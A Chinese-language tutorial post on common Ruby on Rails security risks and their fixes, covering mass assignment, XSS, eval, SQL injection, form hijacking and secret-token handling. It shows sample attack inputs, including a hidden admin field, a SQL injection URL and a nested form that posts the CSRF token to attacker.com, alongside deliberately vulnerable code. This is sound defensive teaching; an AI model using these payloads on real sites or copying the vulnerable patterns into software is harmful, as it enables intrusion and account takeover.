Ruby on Rails 中的常见的安全风险及解决方案


#1

Ruby on Rails 框架会尽力保护您的应用程序安全。然而,正如官方文件所示,没有“即插即用的安全”。因此,了解您可能会遇到的常见(不常见)安全漏洞很重要。在本文中,我们将讨论一些安全问题,以及使应用程序更加安全的步骤。

要涵盖的主题:

  • 大量赋值
  • XSS攻击
  • 执行任意代码
  • SQL注入
  • 表劫持
  • 记录私人数据
  • 暴露私人令牌

大量赋值

这可能是最常见的安全漏洞之一,所以我首先列出了它。黑客尝试一次更新数据库中的多个字段,包括那些不被普通用户修改的内容。

假设,例如,您有一些表单来编辑用户的配置文件:

<%= form_for @user do | f | %>
  <%= f.label :name %>
  <%= f.text_field :name %>

  <%= f.label :surname %>
  <%= f.text_field :surname %>

  <%= f.submit %>
<% end %>

好的,现在控制器的行动:

def update
  @user = User.find(params[:id])
  if @user.update_attributes(params[:user])
    redirect_to some_path
  else
    render :edit
  end
end

这看起来完全合法,但实际上这是一个巨大的安全漏洞。如果users表具有管理列,则可以使用当前版本的控制器方法的恶意人员轻松修改它。黑客唯一需要做的是手动添加一个隐藏的字段到页面看起来像这样:

<input type="hidden" name="user[admin]" value="true">

猜猜会发生什么?黑客现在是管理员,因为我们很高兴地允许它发生。这实在是非常糟糕的,所以这就是为什么 strong parameters 从 Rails 版本4开始引入的。通过 strong parameters,你可以将用户允许更改的属性列入白名单:

def update
  @user = User.find(params[:id])
  if @user.update_attributes(user_params)
    redirect_to some_path
  else
    render :edit
  end
end

private

def user_params
  params.require(:user).permit(:name,:surname)
end

现在,只能修改名字和姓氏 - 任何其他参数都将被忽略。

如果您希望允许给定键下的所有参数,请使用 permit! 方法:

params.require(:user).permit!

但是,做这个时要非常小心。

在 Rails 3 中,strong parameters 还没有成为核心的一部分,所以我们必须坚持使用模型中指定的 attr_accessible 方法:

Class MyModel
  attr_accessible :name,:surname
end

XSS攻击

记住,柯南的父亲说:“这个世界上没有人可以相信:男人,那个女人,那个野兽…”同样的概念适用于网络。不要信任用户发送的任何数据,除非您的应用程序是由一小群人使用或仅用于内部使用。实际上,即使在这种情况下,也不要相信你的用户,因为他们可能会错误地做一些残酷的事情,或者说是愚人节的笑话。

默认情况下,Rails视图中的任何输出都将从rails的第3版进行转义。有一种方法可以通过使用html_safe方法来改变这种行为,但在执行此操作时要非常小心:

@blog_post = current_user.blog_posts.find_by(id: params[:id])
<%= @blog_post.body.html_safe %>

如果任何人(不只是你)被允许写博客帖子,那么一个恶意的人可能会尝试将一些JavaScript插入到帖子的正文中,并且像其他脚本一样被处理。黑客可能会在您的网站上显示一些警告框,或者通过重写window.location.href属性将用户重定向到其他资源。一个更狡猾的攻击者可能会在您的网站上嵌入一个密钥记录器,并尝试窃取用户的密码当然更糟糕。

因此,如果在页面上显示用户生成的内容,则不要直接将 html_safe 方法应用于该页面。首先,使用 sanitize 方法并指定允许的标签列表:通常用于格式化的标签,如b或i:

<%= sanitize(@blog_post.body, tags: %w(b strong em i)).html_safe %>

还有一个名为Sanitize的 Gem,提供一些更高级的东西,如果你有这个问题,这是有用的。

执行任意代码

当您运行基于用户发送的信息运行代码时,请非常小心,因为您可能会引入严重的漏洞。这特别适用于 ActiveSupport::Inflector 模块的方法或 eval 等方法,因为精心制作的参数可能会将系统暴露给攻击者。例如,这是非常不安全的,应该始终避免:

eval(params[:id])

如果您真的需要根据用户的输入运行代码,请验证接收到的数据并将许可的值列入白名单。

SQL注入

SQL注入用于访问或操作用户未被授权更改的敏感数据。在大多数情况下,Rails开发人员不受SQL注入的影响,像如下操作一样

@user = User.find_by(id: params[:id])

默认被 sanitized 处理(这同样适用于使用 strong parameters)。但是,请记住如下这些操作

@user = User.where("id = '#{params[:id]}'")

没有 sanitized,所以永远不要这样做!黑客可以构建以下链接 http://yoursite.com/user?id=' OR 1 - 然后查看网站的所有用户(因为这种情况下一直是成立的)。

为了防止这种攻击,请借助于用 ?连接复杂查询:

@user = User.where("id = ?", params[:id])

在这种情况下,输入将被 sanitized 处理。而现在,由于Arel作为Rails核心的一部分,查询更容易写入。例如:

@user = User.where("id = ?OR name = ?", params[:id], params[:name])

可以重写为:

@user = User.where(id: params[:id]).or(where(name: params[:name]))

表劫持

Rails 5应用程序在页面上为每个表单添加一个CSRF令牌(在Rails 5之前,所有窗体都有一个令牌)。这样做是为了防止一个非常罕见的攻击类型,当一个黑客将他自己的恶意表单插入一个合法的攻击时:

<form method="post" action="//attacker.com/tokens">
  <form method="post" action="/legit_action">
  <input type="hidden" name="authenticity_token" value="thetoken">
</form>

HTML不允许嵌套表单标签,因此,恶意表单将取代合法的表单标签,同时保留令牌。如果提交表单,则将令牌发送到恶意网站。这种类型的攻击非常狭窄,但值得一提的是,

新的 Rails 5 应用程序将 Rails.application.config.action_controller.per_form_csrf_tokens 选项设置为 true,因此,在从以前的版本迁移时,请确保添加它。此设置通常位于 config/initializers/new_framework_defaults.rb 文件中。

暴露私人令牌

您的应用程序可能会使用一堆私有令牌与第三方API进行交互或启用OAuth 2身份验证。重要的是要非常小心这些令牌,并且不要将它们暴露给公众(例如,在公共GitHub存储库中)。最简单的做法是将它们提取到环境变量中,并使用像dotenv-rails这样的gem。使用dotenv-rails创建一个名为.env的文件,并从版本控制中忽略它:

.gitignore
.env

然后将您的令牌放在该文件中:

TWITTER_KEY = 123
TWITTER_SECRET = 456

对于生产,这些变量通常设置在服务器配置文件中。对于Heroku,请使用以下命令:

$ heroku config:add TWITTER_KEY=123 TWITTER_SECRET=456

在较旧版本的Rails中,安全Cookie的秘密令牌列在 config/initializers/secret_token.rb 文件中,但情况并非如此。 Rails 4 引入了一个特殊的 config/secrets.yml 文件,其生产令牌已经配置为使用ENV变量:

production:
  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

顺便说一句,别忘了设置secret_key_base环境变量,否则任何人都可以篡改可能导致严重问题的cookie的内容。另外,不要为secret_key_base设置一个简单的值 - 改用rails secret命令,并使用生成的值。

结论

最后,当然,应用程序可能存在更多的可能的安全问题,因此在发布到生产之前要对其进行评估是非常重要的。花一些时间阅读官方安全指南,并使用Brakeman帮助您搜索漏洞。

如果您了解其他常见的安全问题,请在评论中分享他们,以帮助您的同行开发人员。

了解更多文章内容,可以到 酷哥的技术博客